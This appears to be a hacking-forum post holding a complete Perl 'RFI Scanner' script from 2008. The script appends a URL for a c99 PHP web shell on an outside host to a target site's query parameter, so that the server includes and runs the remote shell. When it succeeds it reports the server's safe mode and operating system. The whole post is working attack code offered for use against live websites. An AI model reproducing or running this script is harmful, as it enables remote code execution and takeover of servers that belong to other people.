[.pl] RFI Scanner

#!/usr/bin/perl

# RFI Scanner
# by Em3trix. 2008
# Contact: Em3trix@gmail.com

use LWP::Simple;

if(!$ARGV[0])
{
print "\nUsage: perl $0 www.web.com/index.php?id= \n";
exit;
}

if($ARGV[0] !~ /^http:/)
{
$ARGV[0] = "http://".$ARGV[0];
}

$rfi=$ARGV[0]."http://usuarios.lycos.es/anzoforum/shells/c99.txt?";
$r=get($rfi)or die("[-] Imposible comprobar si es vulnerable [-]");
if($r =~ /C99Shell/)
{
print "\n[+] RFI [+]\n";
print $rfi."\n\n";
if ($r =~ /OFF/)
{
print "Safe Mode: OFF\n";
} else {
print "Safe Mode: ON\n";
}
if ($r =~ /Windows/)
{
print "S.O: Windows\n";
} elsif ($r =~ /Linux/)
{
print "S.O: Linux\n";
} elsif ($r =~ /Solaris/)
{
print "S.O: Solaris\n";
} elsif($r =~ /FreeBSD/)
{
print "S.O: FreeBSD\n";
}
}
else
{
print "\n[-] NO RFI [-]";
}
print "\nCod3d by Em3trix\n";

Enjoy, XyLeM